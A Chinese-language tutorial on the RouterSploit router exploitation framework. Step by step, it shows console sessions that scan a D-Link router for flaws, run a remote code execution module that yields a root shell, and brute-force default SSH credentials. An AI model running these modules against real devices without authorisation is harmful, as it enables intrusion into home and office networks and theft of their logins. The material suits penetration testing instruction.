RouterSploit路由器漏洞檢測(cè)及利用框架

RouteSploit框架是一款開(kāi)源的漏洞檢測(cè)及利用框架，其針對(duì)的對(duì)象主要為路由器等嵌入式設(shè)備。

?

框架功能

RouteSploit框架主要由可用于滲透測(cè)試的多個(gè)功能模塊組件組成，

1、 Scanners：模塊功能主要為檢查目標(biāo)設(shè)備是否存在可利用的安全漏洞；

2、Creds：模塊功能主要針對(duì)網(wǎng)絡(luò)服務(wù)的登錄認(rèn)證口令進(jìn)行檢測(cè)；

3、Exploits：模塊功能主要為識(shí)別到目標(biāo)設(shè)備安全漏洞之后，對(duì)漏洞進(jìn)行利用，實(shí)現(xiàn)提權(quán)等目的。

工具安裝

sudo?apt-get?install?python-requests?python-paramiko?python-netsnmpgit?clone?https://github.com/reverse-shell/routersploit?./rsf.py

GitHub地址如上命令中所述為：RouteSploit。

操作使用

首先，啟動(dòng)RouteSploit框架，具體如下所示

root@kalidev:~/git/routersploit#?./rsf.py?
?______????????????_????????????_____???????_???????_?_
?|?___?\??????????|?|??????????/??___|?????|?|?????(_)?|
?|?|_/?/___??_???_|?|_?___?_?__\?`--.?_?__?|?|?___??_|?|_
?|????//?_?\|?|?|?|?__/?_?\?'__|`--.?\?'_?\|?|/?_?\|?|?__|
?|?|\?\?(_)?|?|_|?|?||??__/?|??/\__/?/?|_)?|?|?(_)?|?|?|_
?\_|?\_\___/?\__,_|\__\___|_|??\____/|?.__/|_|\___/|_|\__|
?????????????????????????????????????|?|
?????Router?Exploitation?Framework???|_|

?Dev?Team?:?Marcin?Bury?(lucyoa)?&?Mariusz?Kupidura?(fwkz)
?Codename?:?Wildest?Dreams?version??:?1.0.0

rsf?>

1、Scanners 模塊

scanners模塊，具備設(shè)備漏洞掃描功能，通過(guò)該模塊，可快速識(shí)別目標(biāo)設(shè)備是否存在可利用的安全漏洞，下面會(huì)以一個(gè)dlink路由器為例，結(jié)合進(jìn)行操作描述。

（1）選擇scanners模塊，操作如下，

rsf?>?use?scanners/dlink_scan
rsf?(D-Link?Scanner)?>?show?options

（2）顯示選項(xiàng)

Target?options:

???Name???????Current?settings?????Description????????????????????????????????
???----???????----------------?????-----------????????????????????????????????
???target??????????????????????????Target?address?e.g.?http://192.168.1.1?????
???port???????80???????????????????Target?port

（3）設(shè)置目標(biāo)設(shè)備IP

rsf?(D-Link?Scanner)?>?set?target?192.168.1.1
[+]?{'target':?'192.168.1.1'}

（4）運(yùn)行模塊，執(zhí)行情況如下，

rsf?(D-Link?Scanner)?>?run
[+]?exploits/dlink/dwr_932_info_disclosure?is?vulnerable
[-]?exploits/dlink/dir_300_320_615_auth_bypass?is?not?vulnerable
[-]?exploits/dlink/dsl_2750b_info_disclosure?is?not?vulnerable
[-]?exploits/dlink/dns_320l_327l_rce?is?not?vulnerable
[-]?exploits/dlink/dir_645_password_disclosure?is?not?vulnerable
[-]?exploits/dlink/dir_300_600_615_info_disclosure?is?not?vulnerable
[-]?exploits/dlink/dir_300_600_rce?is?not?vulnerable

[+]?Device?is?vulnerable!
?-?exploits/dlink/dwr_932_info_disclosure

如上所呈現(xiàn)的結(jié)果，目標(biāo)設(shè)備存在dwr_932_info_disclosure漏洞。接下來(lái)，我們選擇合適的payload進(jìn)行傳遞和測(cè)試（以下涉及exploits模塊功能操作，如需，請(qǐng)?jiān)偻虏殚?/span>），

2、Exploits 模塊

（1）選擇Exploits模塊，操作如下，

rsf?>?use?exploits/
exploits/2wire/?????exploits/asmax/?????exploits/asus/??????exploits/cisco/?????exploits/dlink/?????exploits/fortinet/??exploits/juniper/???exploits/linksys/???exploits/multi/?????exploits/netgear/
rsf?>?use?exploits/dlink/dir_300_600_rce
rsf?(D-LINK?DIR-300?&?DIR-600?RCE)?>

我們也可以使用“tab”鍵來(lái)自動(dòng)補(bǔ)充輸入命令。

（2）顯示選項(xiàng)

rsf?(D-LINK?DIR-300?&?DIR-600?RCE)?>?show?options

Target?options:


???Name???????Current?settings?????Description????????????????????????????????
???----???????----------------?????-----------????????????????????????????????
???target??????????????????????????Target?address?e.g.?http://192.168.1.1?????
???port???????80???????????????????Target?Port

設(shè)置選項(xiàng)，操作如下，

rsf?(D-LINK?DIR-300?&?DIR-600?RCE)?>?set?target?http://192.168.1.1
[+]?{'target':?'http://192.168.1.1'}

（3）運(yùn)行模塊

通過(guò)使用“run”或“exploit”命令來(lái)完成漏洞的利用，

rsf?(D-LINK?DIR-300?&?DIR-600?RCE)?>?run
[+]?Target?is?vulnerable
[*]?Invoking?command?loop...
cmd?>?whoami
root

也可檢測(cè)目標(biāo)設(shè)備是否存在選定的安全漏洞，操作如下，

rsf?(D-LINK?DIR-300?&?DIR-600?RCE)?>?check
[+]?Target?is?vulnerable

（4）顯示具體漏洞信息

通過(guò)“show info”命令，顯示漏洞信息，包括其存在的設(shè)備品牌、型號(hào)、漏洞類(lèi)型及參考來(lái)源，具體參考如下，

rsf?(D-LINK?DIR-300?&?DIR-600?RCE)?>?show?info

Name:
D-LINK?DIR-300?&?DIR-600?RCE

Description:
Module?exploits?D-Link?DIR-300,?DIR-600?Remote?Code?Execution?vulnerability?which?allows?executing?command?on?operating?system?level?with?root?privileges.

Targets:
-?D-Link?DIR?300
-?D-Link?DIR?600

Authors:
-?Michael?Messner??#?vulnerability?discovery
-?Marcin?Bury??#?routersploit?module

References:
-?http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router
-?http://www.s3cur1ty.de/home-Network-horror-days
-?http://www.s3cur1ty.de/m1adv2013-003

3、 Creds模塊

（1）選擇模塊

此模塊相關(guān)文件位于 /routesploit/modules/creds/ 目錄下，以下為該模塊支持檢測(cè)的服務(wù)，

? ftp?

? ssh

? telnet

? http basic auth

? http form auth

? snmp

在檢測(cè)過(guò)程中，可通過(guò)兩個(gè)層面對(duì)上述的每個(gè)服務(wù)進(jìn)行檢測(cè)，

默認(rèn)服務(wù)登錄口令檢測(cè)：利用框架提供的各類(lèi)路由等設(shè)備以及服務(wù)的默認(rèn)登錄口令字典，通過(guò)快速列舉的方式，可在較短時(shí)間內(nèi)（幾秒鐘）驗(yàn)證設(shè)備是否仍使用默認(rèn)登錄口令；

暴力破解：利用框架中所提供的特定賬戶或者賬戶列表進(jìn)行字典攻擊。其中包含兩個(gè)參數(shù)（登錄賬戶及密碼），如框架/routesploit/wordlists目錄中字典所示，參數(shù)值可以為一個(gè)單詞（如’admin’），或者是一整個(gè)單詞列表。

（2）控制臺(tái)

rsf?>?use?creds/
creds/ftp_bruteforce?????????creds/http_basic_bruteforce??creds/http_form_bruteforce???creds/snmp_bruteforce????????creds/ssh_default????????????creds/telnet_default?????????
creds/ftp_default????????????creds/http_basic_default?????creds/http_form_default??????creds/ssh_bruteforce?????????creds/telnet_bruteforce??????
rsf?>?use?creds/ssh_default
rsf?(SSH?Default?Creds)?>

（3）顯示選項(xiàng)

（4）設(shè)置目標(biāo)設(shè)備IP

rsf?(SSH?Default?Creds)?>?set?target?192.168.1.53
[+]?{'target':?'192.168.1.53'}

（5）運(yùn)行模塊

rsf?(SSH?Default?Creds)?>?run
[*]?Running?module...
[*]?worker-0?process?is?starting...
[*]?worker-1?process?is?starting...
[*]?worker-2?process?is?starting...
[*]?worker-3?process?is?starting...
[*]?worker-4?process?is?starting...
[*]?worker-5?process?is?starting...
[*]?worker-6?process?is?starting...
[*]?worker-7?process?is?starting...
[-]?worker-4?Authentication?failed.?Username:?'3comcso'?Password:?'RIP000'
[-]?worker-1?Authentication?failed.?Username:?'1234'?Password:?'1234'
[-]?worker-0?Authentication?failed.?Username:?'1111'?Password:?'1111'
[-]?worker-7?Authentication?failed.?Username:?'ADVMAIL'?Password:?'HP'
[-]?worker-3?Authentication?failed.?Username:?'266344'?Password:?'266344'
[-]?worker-2?Authentication?failed.?Username:?'1502'?Password:?'1502'

(..)

Elapsed?time:??38.9181981087?seconds
[+]?Credentials?found!

Login?????Password?????
-----?????--------?????
admin?????1234?????????

rsf?(SSH?Default?Creds)?>

介紹內(nèi)容來(lái)自 FreeBuf黑客與極客